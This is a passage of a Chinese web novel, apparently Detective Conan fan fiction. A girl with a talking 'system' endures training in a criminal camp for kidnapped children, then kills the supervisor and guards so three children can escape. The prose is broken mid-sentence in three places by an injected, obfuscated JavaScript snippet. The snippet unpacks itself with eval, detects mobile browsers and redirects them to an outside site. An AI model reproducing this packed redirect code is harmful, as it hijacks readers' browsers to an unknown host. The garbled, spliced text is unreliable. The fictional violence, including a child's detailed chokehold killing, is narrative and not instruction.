算了,先试试,实在不行的话就上Trigger作个弊,我想好最坏的应对方案,然后欲哭无泪地继续往下看:“十点基础课结束,附赠一个小时的自由活动时间。十一点负重六公斤跑八圈,括弧,适应期第一周负重一公斤跑五圈,第二周两公斤跑六圈,第三周四公斤跑七圈,跑完吃饭……”我万万没想到晨跑完还有令人眼前一黑的负重跑! “统,救救我,我真的会活不下去呜呜……”我向来是十分有自知之明的退堂鼓表演艺术家,有那么一瞬间我真觉得就此打出GG也不错。 “宿主别放弃啊!我们努努力,一定能行的!”系统果断给我鼓劲。 我含泪答应,只求今天不要再出现跑步这件事了。 “十三点生物课,十四点化学课,十五点地理课,十六点近身战斗基础课,十八点晚饭加自由时间,十九点数学课,二十点物理课,二十一点夜跑五圈后进行洗漱,二十二点熄灯。”我机械性地在心里念出一系列安排后,视死如归地刷卡进入教室,一头扎入了无边地狱。 授课老师对迟到的生面孔见怪不怪,瞥了我一眼就继续讲课。 我坐在最后一排,努力听懂老师讲的内容。 组织里的课显然不能要求老师讲得妙趣横生,我听着她平淡地讲完一个平假名词语就立即说下一个的教学风格,只觉得这门课实在是太难捱了。 漫长的两个小时过去,我感觉我的魂儿已经不在身体里了。 老师上完课后就离开了,与我一起上课的两个孩子还留在教室里。 我有点迟疑要不要跟他们搭话试试,就见他们一前一后地站起来。 说起来,在自由时间里他们会干什么啊?交流打闹?我摇摇头丢掉过于青春校园剧的想法。 据我观察,他们彼此之间也许完全没有交流,因为大家看起来都很拒人于千里之外的样子。 是有人警告过交往过密的行为吗?我视线虽然追随着他们的身影,可实际有些出神。 等那两个外表上看起来跟我差不多大的男孩分别从讲台旁的桌子上拿了几张纸和一支笔后又坐回座位后,我才被唤回意识,思考着他们这是要干嘛。 我颇为不明所以,但本着随大流的想法,摄手摄脚地也过去摸了些纸笔。 回到座位前,我特意放缓了脚步,试图从他们的手部动作看出一些头绪。 “统,你说他们是在复习刚才学的内容吗?”我不确定地向系统求证。 “是。你也复习一下吧。”系统建议道:“我说一个你们刚学的词,你默写它的平假名给我看看。” 我垮起一张脸,不情不愿地跟系统一起复习。 5. 第五章 我搁下笔,看着自己蝌蚪般的字迹,只觉得眼疼:“统,我的正确率……是不是惨不忍睹?”那种考试结果即将揭晓的紧张感简直让我的心提到了嗓子眼。 “是挺惨的。”耳边环绕着系统给我报的一连串错误,我捂眼不愿再看。 系统嘲笑似的说道:“我给你开翻译看看你错得有多离谱。” 闻言,我透着指间的缝隙悄悄往纸上看,然后看到了许多狗屁不通的词语,“呜呜,别骂了别骂了,我会好好练的!” 等系统终于放过我不再劝学时,我不由得发自内心地松了口气。 发现墙上挂着的钟快要指向十一点,我又把刚想拿出来的注意事项塞回口袋:“统,我来不及读那个注意事项了,你能帮我总结一下不?”我试图找借口把阅读工作丢给系统。 “你可真会偷懒。”它吐槽归吐槽,还是满足了我的请求,“我会提醒你什么能做什么不能做的。” “谢啦,统子!”我讨好地在脑海里想象出一朵欢快绽放的小烟花:“送给你的花花——不知道你能收到不。” “能。……谢谢你。”我猜它是不好意思,才显得那句道谢有些笨拙。 “嘻嘻,我是不是第一个送你花花的?有没有特别感动啊?”我边在脑子里和系统插科打诨,边跟着两位同学回到训练场。 “嗯。有。”它快速地回答之后,跟我转移话题道:“快去领你的负重吧。负责人盯着呢。” 我没再逗它,苦着一张脸排队。 望着排在我前面的八个孩子和空荡荡的身后,我心说原来编号09是这么来的。 “统,组织挑人还挺讲究的?一个据点就九个人?”我还以为人数会更多呢,虽然这完全不是好事。 “组织一向低调,大批孩子失踪总会引起注意。他们应该是随缘捡愿意跟他们走的。” 统子这么一解释,我顿时有点好奇这具身体被骗进来的理由。 “负责人拿一只肉包子骗进来的。” 我忍不住露出半月眼——怪不得负责人在食堂里这么照顾我。 我今天的表现也是给自己的饭桶人设添砖加瓦了呢。 我乐呵呵地定下饭桶人设的表演方针,然后看着递到面前的负重立刻就笑不出来了。 拿着两个总共一公斤的绑腿,我在负责人灼灼的目光下将其装备好,认命地再上跑道。 望着跑在我面前,手脚都绑了负重还显得毫不费劲的前辈,我一边赞叹,一边为自己未来的身高感到些许担忧。 很快我就累得没有心情想东想西了。 等我拖着疲惫至极的身体,像游魂一样飘到食堂后,我已经记不得自己是怎么挺过来了的。 此刻!唯有美食能抚慰我受伤的躯体和心灵! 我吸取了早晨的教训,只怒吃两碗大米饭,然后哭唧唧地跟系统感慨食堂师傅的手艺真不错。 下午的第一堂课,我不出意外地又迟到了。 幸好下午教的这些课我都有基础,要跟上就不像学语言时那么困难。平心而论,虽然老师的教学风格不太吸引人,但回顾这些知识其实还挺有趣的,比纯粹地挥洒汗水有意思多了,我恨恨想到。 度过了三个小时的枯燥课堂,我又又又回到了训练场。 这门课说好听点是近身战斗基础课,说直白点就是去挨打的,尤其是我这种新来的,分不到搭档的。 有幸和负责人亲密接触了两个小时呢——无数次被狠狠摔倒在地又被要求爬起来的我苦中作乐地想。 最后一次把我摔出去后,负责人宣布下课,所有人迫不及待地赶去吃饭。 我趴在地上,像死狗一样大口汲取着氧气,一根手指都动不了了。 晚点洗澡一看,我估计浑身布满了深浅不一的淤青。组织提供治跌打损伤的药吗?我很需要,谢谢。 负责人走到我身边,蹲下问:“还走得动吗?” 我艰难地摇头,连话都说不出来。 “我送你去吃饭。”然后负责人就像夹公文包似的把我夹住带走了。 我几近昏迷地想,他确实是好人啊。 到了食堂,他甚至把我放在座位上,亲自去给我打饭! 我用着颤抖的手舀起食物,抖落半勺后坚强地送进嘴里。 吃到一半终于恢复了一点精力的我跟对面的负责人四目相对,真挚地说:“谢谢您,您真是个大好人。” 负责人的脸似乎扭曲了一瞬,没应我这句赞美。 “他可能是第一次被这么认真地发了好人卡。”系统忍不住笑道。 “在我这个小孩看来,确实是这样没错啊。”我一脸无辜。 “快吃吧。”负责人见我还在愣愣地朝他发呆,催促道。 我乖乖地继续干饭。 “嗝。”我餍足地打了个饱嗝,努力举手去挠发痒的头,手臂传来的酸软疼痛让我龇牙咧嘴的。就着抓痒的姿势,我突然想到了一个很重要的事:“统,就我这样手指都抬不起来的情况怎么洗得干净头发。” 系统沉默了:“对哦。”它干巴巴地符合我,却提不出解决方法。 我把手放下来,沉思片刻,做出了个我上辈子一直想尝试,但没敢实施的决定。 我试着摆出一副可怜的表情看着负责人。 “说。”他见我有话要说的样子,单刀直入地问。 “请问您可以帮我剃个寸头吗?”我露出一个不好意思的笑。 负责人从我的手臂一路向上望到头顶枯黄但勉强称得上茂密的发,似乎悟了:“行。” 我目送去还餐盘的负责人,合理怀疑他是怕我手抖得把盘子都摔地上。 “注意事项里有这一层的平面图。”负责人折回来后,突然说:“你去公共浴室等着,我去找把剪刀和推子。”兴许是从来没给人剪过头,他意外地显得兴致冲冲。 我依言,把平面图摊开研究。 顺利找到路线后,我以蜗牛般的速度一步步挪动到浴室门口——真是一场漫长的征途。 我刚刷开门,负责人就到了,手里甚至还贴心地拿了一个毛巾。 他给我拿了张凳子,又把我拎上去,然后像是专业理发师似的帮我围好毛巾:“坐好,现在开始不许动了。”他暂时把推子揣兜里,先用剪刀开始剪头发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293710|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一开始还对别人碰我头发这件事没什么感觉,可当他用剪刀沿着我后脑勺开始剪时,我就忍不住地想要避开——刀身的冰凉让我感觉自己像是下一秒就要被割喉了。 他动作不算温柔地扶正我的头,严肃道:“别动。” 我努力控制着自己不要动弹,不过落在脖颈间的碎发仿佛在挠我痒痒,想让我破功。 长时间维持一个姿势实在是太费力了,我本来就疲惫的身体雪上加霜,我试探性地问:“可以让我靠着椅背吗?起码不会那么累……” 他把剪刀暂时拿开:“靠吧。” 我在椅子上扭来扭去,终于找到了一个最舒服的姿势:“谢谢你。” 回应我的是一缕飘落的头发。 我瞅着镜子里坑坑洼洼的杰作,安详地阖上了双眼,寸头不需要在意美不美观。 听着连绵不绝的“咔嚓咔嚓”声,我简直快要睡过去,直到推子启动才让我从半梦半醒的状态清醒过来。 我打了个哈欠,看负责人给我开始收尾。 我承认我是有点没戒心,甚至可能有点雏鸟情节了,可菜鸡的我现在就是想反抗也只是在做无用功,负责人大概只需要一只手就能掐死我……反正都信任到让他剪头发了,爱咋咋地吧。 “你想要留多长的发茬?”给推子换推头时的负责人突然问我。 我其实对长度没什么概念,“两厘米……?可以吗?”我估摸着两厘米应该能有那种摸起来扎手的效果吧。 推子推过头顶的时候,我攥紧了手,控制自己不要动。 更多碎头发落下来,我不由得闭上眼,避免碎发掉到眼睛里。 “好了。”负责人解开毛巾,将一大缕黑发抖到地上。 我像是甩毛的小狗一样,扯着衣领又原地跳了跳试图把扎在皮肤上的残余头发抖落。 负责人无语地瞥了我一眼,眼神更像是看到了个笨蛋。 我讪笑着停下动作,走到一旁打量我的新造型:“统,我看起来有点点奇怪。”我还不太适应自己空荡的头顶,但一想到新形象在洗澡时能有多便利,立刻又满意了起来。 “其实还不赖。”系统附和道。 等我欣赏完才忽然发觉负责人已经有一段时间没说话了,我连忙转头去看,却发现他已经任劳任怨地把那一地头发都扫干净了。 他真是个大大的好人啊,我哭死! “谢谢您帮我。从给我饭吃,到给我住的地方,我真的不知道该如何报答你才好。”我睁着一双亮晶晶的眼睛,又一次对他真挚地感谢道。 “……真想报答我的话,就好好完成每天的任务。努力长大吧。”他叹息般地说。 “嗯!我会的!” “上课去吧。”我们在浴室分开,我目送着他走远,笑了笑:“统,你说我这样能跟他打好关系吗?” “也许?应该能对你这种傻白甜有印象。”系统调侃道。 “哼哼,我这么听话,接下来又展现自己的价值的话,肯定能当代号成员预备役吧?”我自信满满的状态在迎来夜跑时,碎了个干净。 “呜呜,统,我真的会过不下去……” 6. 第六章 度过了漫长的一天,洗漱完毕的我在接触到床铺的一刹那,又觉得人生值得了。 “我能不能永远躺着,太舒服了!”我刚一翻身,困意就像海啸一样快要将我的意识吞没。 然而系统作为无情的督促机器,只径直履行它的职责:“不能。该开始Trigger的训练了。” “唉。”我躺平,握着出现在掌心的手柄,有气无力地道:“Trigger On。” 变装过后,我又满血复活,那种身体快要散架的疼痛感和肌肉酸软一时间都消失无踪——Trion体真是太好用啦!我跳起来,活力满满地进入了系统开放的虚拟训练空间。 “考虑到我的睡眠时间,我们每天就打半个小时的靶,再训练半个小时的近身格斗吧。”我端起Ibis,边瞄准边跟系统规划往后的训练计划,“对了,统,你能不能造个人型的Trion兵啊?不是像爱朵拉那样的——爱朵拉太高了——而是跟正常人类差不多高的。” 系统斟酌了一下,“可以。用来练习打架吗?”它问道。 “嗯嗯。先从跟负责人差不多的身形开始练吧。之后要是能换成高矮胖瘦各不相同的建模就更好了,能让我知道怎么应对不同身形的人。”我考虑到未来会遇到的各种目标,打算提前做准备。 可以的话,我不想跟同年龄段的孩子战斗,但以组织的培养方针来看,这几乎是不可避免的,我心情沉重地扣下扳机。 系统行动力很强地一比一捏了个负责人出来,我分神瞥了一眼,提要求道:“能不能都去掉五官,一个纯粹的训练用人偶就够了。” 系统安静地改动建模,没打扰我训练。 半个小时很快过去,系统提醒我可以结束狙击训练了。 我收起Ibis,系统迅速地把空间改为一片平地,并设置了假想战斗模式。 在这个模式下,我的Trion不像打靶练习时会被消耗,打靶时的每一发子弹都是由我自身的Trion生成。而现在,我在战斗时被破坏的Trion体可以通过电脑数据恢复,也就是说,无论被打倒多少次,我都能在下一瞬间拥有完好的Trion体再接再厉。 哈哈,充分给了Trion兵下死手的机会呢。 虽然话是这么说,但我明白现实中遇到的敌人也是起手就会冲着要害来的,所以这样的训练能大大提高我的生存率。 就是还得让肉身跟上脑子的反应。 我默默记下又一个需要强化的点。 认真地盯着对面的无脸人偶,我警戒着它会如何出招。 “上吧。”不知道是系统给我的指令还是给Trion兵的指令,总之它话音刚落,我们就瞬间缠斗在一起。 有了Trion体的加持,我稍微能比下午用肉身战斗时扛得久一些——虽然还是没过几分钟就落败了。 系统显然有顶级的观察能力,它编写出来的Trion兵完全复刻了负责人的战斗风格,我简直梦回下午的地狱两小时。 我不想再次毫无还手之力地挨揍。 仗着没有痛觉,我直接用一种在现实中绝对是以命搏命的打法艰难招架着。 对练的时光飞速过去,我在一次又一次的失败后不甘心地解除变装。 “多练练就好了。”系统看出了我的气馁,安慰道。 “嗯。我知道的。不能一蹴而就。”我按下心里的焦躁。 “统,我睡了,晚安。明天记得喊我起来。”当困意再度袭来时,我没有反抗地转瞬陷入昏迷。 * 时光如梭,我过着每天睁眼就是训练,闭眼就昏厥的日子,恍惚发觉自己已经快要度过适应期了。 要不是负责人每周都会帮我更改训练强度,我几乎都要失去对时间的感知。 随着负责人不再给予我属于新人的优待,不算统子,我又失去了一个稍微能说得上话的对象。 基地里的孩子本就不常交流,除却极其偶尔的情况下能交换几句干巴巴的话语以外,往后见面又会相顾无言,像是那些对话从来都没有发生过一样。 生活在这种压抑的环境里,日复一日地在这里打转、训练,我总感觉自己仿佛是一座孤岛,漂泊在偌大的海洋里,目及之处仅有一望无际的冷色调。毫无预兆的,我时常会被一阵巨大的寂寥袭击,若是没有系统陪我解闷,我想我对周遭的感知一定会变得麻木——如同那些孩子。 每天还能在这潭死水里投下些许波澜的只有食堂变化多端的菜色,我现在最大的期待就是揭晓这一顿能吃什么,下一顿又能有什么样的吃食。 值得我在漫长的魔鬼训练中感到高兴的就是自己身体素质的提升。 我时不时会唤出人物面板查看我的进步。 【身高:122cm】 【体质:2/10(被迫自律变强的小豆丁)】 【力量:2/10(现在你能扛得动狙击枪了)】 【敏捷:4/10(显著地变得敏捷了)】 【耐力:2/10(目前续航不足)】 也许是日日摄入了足够的营养又坚持运动,甚至早睡早起的缘故,我一个月后长高了足足两厘米呢! 充分的营养促进了我的毛发生长,我摸摸不再扎手的发茬,寻思又该觍着脸去找负责人剪头发了。 * 不知道从哪一日起,编号01的孩子离开了基地。 她通过了学识水平和体能测试,甚至表现优异。 我跟其它孩子围观了她体能测试的全过程,负责人当时也意外地没有驱散我们。 我抱着学习的心态,仔细观察他们对打时的一招一式。 01虽然与负责人缠斗了许久,但最后还是干净利落地战胜了他。 负责人被撂倒在地的那一刻我甚至激动地鼓掌叫好:“01好样的!” 01诧异地看着我,缓缓露出一个纯粹的笑容——想必她也在自豪自己的胜利吧。 其它孩子也难得被我带动,稀稀拉拉地开始鼓掌。 负责人从地上爬起来,瞥了我一眼。 我讪讪地放下手,讨好地冲他笑了笑。希望他大人有大量,不要跟我计较。 出乎意料的,负责人对01说:“恭喜你。你可以离开这里了。”但他望着01的目光既像真情实意又像怜悯。 我理解了他目光里隐藏的深意,在黑衣组织更进一步未必是好事。 ——但被黑衣组织当作没有价值的人,后果更加严重。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293711|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们还真是,没有选择。 负责人判断01有资格从这里毕业,于是基地里的孩子恢复到偶数。 将我近身格斗课的搭档换成02后,他让我们照常完成训练,然后带走了01。 我望着他们的背影,突然意识到组织不会无期限地养着我们,我们都将在某个时间点迎来毕业测试。 我不敢细想失败后的下场,想要活命就只能往上爬。 * 浑浑噩噩地又不知道过了多久,不用每周更改圈数和负重的训练已经让我彻底失去对时间的感知。 幸好还有系统能给我播报日期。 说起来,已经夏天了。 我想象着阳光、沙滩和海洋,试图给自己一些心理上的慰藉,然后越想越破防,跑圈的速度都在这股怒气下超常发挥。 晚上夜跑的时候,消失了一天的负责人姗姗来迟,跟我们宣布道:“明天起,新的编号01会加入训练。” 我精神一振,居然有点期待新人的到来——虽说这完全不是什么好事。 日常进行打靶时,我忍不住琢磨新的01号会是什么样的人。 怀抱着一点微薄的喜悦,我第二天甚至没有卡点来晨跑。 然后新人不负所望地给我们上演了一出大戏。 因为有负责人监督的缘故,我不敢过多关注新面孔,只在跑圈时远远看到他与众不同的出场方式。 他像是被负责人拎进场的,窝在他怀里还一副完全没睡醒的样子。 也许是因为睡得不安稳,他又黑又亮的短发凌乱地翘起,乱糟糟的头发下却是一张圆润又可爱的脸蛋。 好想去戳戳他的脸,一定很软和吧! ——所以负责人这是从哪家拐来了小少爷? 我听着01活力满满地跟负责人吵嚷的声音,不禁感慨道。 我真的很好奇这个小孩是怎么被拐来,我们真的不会被家长找上门吗? 我幻想了下我们成功被救出去的可能性,然后丢掉了这个不切实际的设想。 按理说负责人应该知道要避开这类小孩啊,那怎么还会带他回来呢? “砰!”忽然炸开的枪声让我一个激灵,脚下差点摔了。 我循声望去,只见负责人正把还在冒着热气的枪口对准新的01号。 哇哦,我还是第一次见负责人这么生气,这小孩到底说什么了? 真枪实弹一掏出来,那个小孩终于知道了害怕,那股子鲜活的精神气在生命威胁下瞬间被抽走,他瑟瑟发抖地瘫坐在地,像是下一秒就要被负责人散发的杀气吓晕过去了。 我瞟了眼其它的孩子们,他们都只在枪响的时候短暂地看了一眼,就又事不关己地继续跑圈。 这估计是基地里第一次爆发这样的冲突,可能他们也不知道该怎样反应才好。 我跑到负责人身边,一副为他排忧解难的样子道:“您看起来很生气。我能为您做什么吗?”话刚一出口,我就被自己的社交能力尴尬到脚趾扣地,这说的什么啊真是的! 负责人顺着我的台阶下,收起了枪。他也不是想真的杀掉01,只是需要震慑一下罢了。 “这个孩子就交给你来带了。”他一锤定音。 7. 第七章 我扶起那个孩子:“没事吧?” “没事。”他怯怯地道。 我给他介绍了这里的生存规则,然后带他上了跑道:“好好努力,走路也好,慢慢跑也好,一定要坚持跑完五圈哦,不然你可能就要被那个凶凶的男人带走了哦。”我害怕他还没意识到自己处于什么样的严峻处境,不得不恐吓他道。当然,也不能算我危言耸听,毕竟我只是在描述可能会发生的事实罢了。 说罢,我不再过多关注他,先专注于我的任务。 跑完早晨的份额后,我站在负责人身侧,跟他一起眺望以蜗牛般速度前进的01。 简直变成了我最开始的模样呢,我回忆起当初狼狈的自己,不忍直视地移开眼。 “对了,您说让我管,是真的要让我管?”我虽然去帮他解了围,但其实也有些犹豫要不要再跟01进行更多接触——更主要的是我会不会被允许过多接触别的孩子。 孩子们之间疏离的氛围显然是他们有意控制的。 想当初我试着多和别人说话,都会被摄像头警告“不许闲聊”。 负责人一瞬间露出了不情愿的表情,可到底没让我继续多管:“去吃你的早饭去吧。我会看着他的。” “得令。”我最后望了眼01,转头去吃饭去了。希望我晚点还能见到完好无损的他。 上基础课的时候,我颇感意外地在中级班看到了01。这样的学识更加证实了他原本应该是个家庭美满的孩子。我可惜地感慨到,怎么就落入魔窟了呢。 上完课的自由时间里,我如往常一般复习学会的词语,却见他忽然坐到了我身边。 “你好。”如此正常的开场白给我整不会了。 “你好。”我干巴巴地回复他。 “你叫什么名字?”他按照社交礼仪问道,随后又自我介绍:“我叫上野勇辉。刚刚谢谢你。” 我踌躇地报上编号,有点拿不准接下来是该叫他的真实姓名还是编号。 他勉强扯出一个笑,“09,我得这样叫你吗?” “嗯。……那我要叫你上野还是,01?他应该告诉了你编号吧。” “可以的话,叫我上野吧。”他低落地道,不过很快强颜欢笑道:“你几岁了?” “十岁。”我无声地看向他,示意他礼尚往来也报一下自己的年龄。 “我十二岁。”像是突然意识到年龄差带来的责任感,他以一副坚定地要入党的表情郑重跟我保证:“你放心!我一定会好好照顾你的!” 我无语得没有接话。 他没在意,又凑到我耳边说悄悄话道:“你为什么会来这里?”我不适应地避开了点,这个距离太近了,我会控制不住自己想把人摔出去的冲动的。 “因为有吃的。”我简短地答。 他怔住,然后以一种“这孩子真可怜”的眼神看我。 我懒得解释,他脑补得也不算错,我确实挺值得同情的。 “你呢?你又为什么来这里?明明一副家境不错的样子。”我反问道,一时间真的想听他说前因后果。 他挠了挠头,不好意思道:“我、我其实是主动跟来的。那个人太可疑了,我一时好奇就溜进了他的车,然后就被带到这里来了。” 不是!这什么不合时宜的好奇心啊!你又不是工藤新一,没有主角光环还敢作死! “统,好奇心害死猫这句话可真是有道理啊。”我在内心摇头,“显得我那个肉包子的理由没那么随便了呢。” “确实。”系统赞同我道:“这孩子对危险的感知不太灵敏啊,要不咱别跟他玩了吧,别到时候被牵连下水。” “没有好处还主动撞进陷阱的人我还是第一次见。”我嘟囔道。 上野被我吐槽得脸都红了:“那……你有没有想过……” “01和09别再闲聊了。”负责人凉凉的声音传来。 我朝上野做了个拉拉链闭嘴的动作。 “之后再聊。”我在纸上写到,旋即继续我的默写工作。 直到第二天我们也没再说上话,上野因为高强度的训练根本没有精力再多动一下手指。 这颗石子激起的波澜渐渐淡去,基地里又恢复以往的安静。 期间我又见证了几个前辈的毕业测试,很遗憾不是所有人都顺利通过了。 “没通过的孩子会被送去哪儿呢……”我在闲暇时思考着他们的下落。 “大概是被送去研究所当实验体了。”系统残酷地揭露了事实。 我一时竟不知道他们是怀揣着虚无缥缈的希望继续活下去比较好,还是一死了之解脱了比较好…… 我闭了闭眼,满是兔死狐悲之感——总有一天我要把组织的人体实验取缔掉。 我又开始模拟乌丸莲耶的暗杀计划。 每当我快要撑不下时,我就得这样给自己找点盼头。 ——迟早刀了他。 * 轮到我进行毕业测试时,基地里的孩子已经换了一轮了,万幸的是他们似乎放缓了诱拐孩子的速度,编号目前只用到了03。 上午写完学业水平测试后,下午就是决定未来的关键性对战了。 虽然近战课的搭档一直在换,可我不敢懈怠,每晚都在和负责人模样的Trion兵进行殊死搏斗。 临上场前,我跟01对上了眼神。 我想起他十天前在纸条上写的藏头诗:“你想不想逃出去?” 不得不说,我是有些意动的,不为自己,为了其它的那些孩子——才六岁的03号不应该就这么度过她的一生。 那晚我一直在反复纠结,这件事有可行性,但成功率不高。 被限制了活动范围的我们缺失太多情报。 行动最重要的两点是要制定逃离路线,再甩掉追兵,可我们一不知道这栋建筑的占地范围到底有多大,二不知道有多少人手在此驻扎——要是跑出去后有一百个人拿枪对着我们,那逃跑这一行为就会直接葬送他们的小命。 而且我也不放心让01,以他被坑入组织的心性,真的能带02跟03好好地在外面的社会活下去吗? 为了确认他们的决心,我要求01给出详细的逃跑计划。 然后01就在基础课后的自由时间里撞掉了我的错题集。 我叹了口气,侧身挡住他捡纸的动作,跟系统吐槽:“这也太刻意了。希望负责人不会看出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293712|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”我看着被混进去的计划书,忍不住给01翻了个白眼。 而他只在那跟我傻笑! 当晚,我在宿舍里读着他的两步走计划,不禁感叹一切是否有些过于随意了。 根据01的情报,这栋建筑似乎只是个训练营,常驻的人手似乎不多,起码在他被带进来时,一路上根本没遇上几个人。 “统,他这个情报都是半年前的了吧……”我无奈道。 “确实。不过倒也不算过时。”系统拿出它早就准备好的实时情报给我。 得知本基地只有五个战斗员,除此之外都是保障后勤的人员后,我的心思不由得活泛起来。 我向系统确认道:“负责人应该是这里拥有最高权限的人吧?”一个模糊的想法缓缓浮现在脑海里。 “是。要是能偷到他的身份卡,离开的机率会大大提高。”系统又补充道:“其它楼层基本没有配备摄像头,只要逃出这一层就很难被发现踪迹。” “统,你能帮我规划个最短路线吗?” 靠谱又有求必应的系统立刻响应。 “意外的很简单。找到电梯后,去到一楼,大门就在眼前。”容易到我心生疑窦,“统,门口不会装备了机关枪吧,等他们被发现后就一通扫射?” “不会。”系统稍微打消了我的顾虑,“不过出门就是郊外,怎么跑到市区对他们来说是个问题。” “那我也不知道,只能希望他们足够幸运了。” 我想,上野肯定是要回他家,那他会让自己的家长也收养02,03吗?或者帮他们找到新的家庭……对了!负责人是不是也知道他的真实姓名来着! “完了,这样不还是会被抓回来吗。”我苦恼地跟系统说了这个问题。 我手指点着纸上“制造混乱,伺机逃出去”的词语,忽然灵光一闪——只要这样做的话,问题就将迎刃而解。 “统。”我神情严肃地道:“我们,杀了负责人制造混乱吧。”我艰难地说出新方案。 “……你下定决心了吗?”系统再三确认道:“这意味着你要把其它的人也杀了。” “从组织的角度来说,你充分展现了你的价值,不仅不会被惩罚,甚至能成为代号成员预备役。”它开始跟我分析利弊,“前提是,你得留个活口让他们知道你的战果,但这又会妨碍孩子们的逃跑计划。” 我扑到床上,闷闷地说:“战果这个词,也太冷酷了……再说了,他们也不是我随随便便就能打倒的啊。”我郁闷地道。 “除非他们跟葫芦娃救爷爷一样能排队来让我一枪一个。” “能制造一个这样的状况就好了。”系统和我的声音重合在一起。 我支棱起来,想到了铃鸣第一的骚操作:“统!你能拿下电闸的控制权吗?” 系统心领神会,“把他们引诱到这一层来,然后逐个击破。” 我跟系统几乎是彻夜长谈,终于制定了个可行的计划。 次日,我让上野发誓一定会好好安置02和03后,才把推测出的电梯口和部分计划同步给他们。 我叫他们努力训练,一切表现照常。 ——直到毕业测试到来的那一天。 8. 第八章 那一天终于到来,他们就要迎来自由了。 趁着午饭时变装成Trion体的我站上了训练场,宣告着行动的开始。 我转转手腕和脚踝,作出一副热身的样子:“对不起,不过我会下狠手打败你的。”我长长呼出一口气,状似调皮地跟负责人说道。 负责人哼笑了一声:“有本事的话,尽管使出来。”他挑衅地朝我招手。 早在做下决定后,我就一直在研究如何能瞬间让负责人毙命。 仗着Trion体远超常人的速度,我迅猛出手。我们的战斗像是野兽在互相搏杀,没有任何技巧,纯粹是冲着要他的命去的。 他一开始还有些留手,我抓住他的破绽,招招冲着要害招呼,五指成拳狠狠击打他的太阳穴。 他被砸得头晕目眩,但迅速反应过来,想要还击,却被我一个错身撂倒。 我双腿禁锢着他的躯干,右臂卡进他喉结上方,左手死死扣住绕在他脖颈间的右臂不敢有半点松懈。 他双手试图把我的手扯开,用力到青筋暴起,却不见我的手臂有任何伤痕。 感受着怀里的身体渐渐停止挣扎,我意识到,一条生命就在我手里消逝了。 “永别了。”我轻轻道。 确保他是真的死透了,我才松开忍不住颤抖的手。 胃里翻江倒海的我想要抱着马桶大吐特吐,可看见不远处等着的三个孩子,我强行按住这股冲动,喊道:“快把枪给我!” 因为是近身搏斗,负责人在上场时早就卸下了武器。 我与他缠斗时,三个孩子从他的外套里翻出了身份卡,又拿着枪小跑着围到我身旁。 我接过枪迅速爬起来把训练场里的四个摄像头都毁掉。 “统,他们不会听到我们的谈话吧?”我一边确认道,一边招呼他们往出入口靠。 “不会。他们已经在赶来的路上了,你要抓紧。”系统催促道,按照计划暂时断了一波电,然后给我打开了Trion体的视觉支援。 我让他们互相抓着手,由我打头,带领他们摸黑前进:“拿好身份卡,守在电梯旁边,一会儿等那些人都从电梯里出来了,你们就上去。”我快速嘱咐道,“记住他们应该会有四个人,确认人数无误后,就立刻去一楼。大门就在眼前,出去以后尽量往市区跑。” 我顿了顿:“然后你们就自由了。一定要逃出去,过上正常的人生知道吗?” 我回头看到三个不住点头的小脑袋。 最小的03眼里包着泪,用哭腔问道:“那姐姐你呢?不跟我们一起走吗?” “总要有人拖住他们。”我摸了摸她的头,“本来我也没想离开这里,你们走就够了。” “可是……” “好了,别废话了。”我打断道,“快走。不许回头。”系统早就恢复了电源,方便他们坐电梯下来查看。 我把孩子们送到电梯附近的走廊上,然后往反方向跑——我要在这里吸引那些人的注意力。 “他们来了。”几分钟后,系统给我播报。 电梯门打开的一瞬间,我举枪瞄准了出来的第一个人的身体。 就像打靶一样,不要有心理负担。我自我安慰着,扣下扳机。 ——准头还行,打中了。 隐约看见血花迸出后,我迅速缩回墙角。 “她在那!”我听见他们大喊,然后是匆忙的脚步声,我赶紧跑动起来。 感谢这些四通八达的走廊,是非常方便打游击战的设计。 我努力把他们往远离电梯的方向溜,“统,是所有人都下来了吧?” “是。”系统的回复让我安心下来,“要现在再管一次电闸吗?孩子们已经上去了。” “好。”我放轻脚步,在黑灯的一瞬探出头,迅速打中另一个人。 他们都聚在一起,随便瞄准都能打中。 还差两个,可负责人的枪只剩一发了,我要么用Ibis,要么去他们那抢一把枪回来。 用Ibis不太现实,Trion子弹会在黑暗里发光,要是熄灯的话完全能被他们避开。 我意外地很冷静在思考作战计划。 或者骗他们把子弹用完?现实吗? 我们已经移动到了食堂,他们拿着开启的手电筒一寸寸搜寻我的下落。 我猫着身子,故意挪动了下椅子发出动静再躲到柱子后。 两发子弹瞬间洞穿了椅背,我让系统迅速熄灯再打开,趁他们被晃到的那刻,杀死了第三个人。 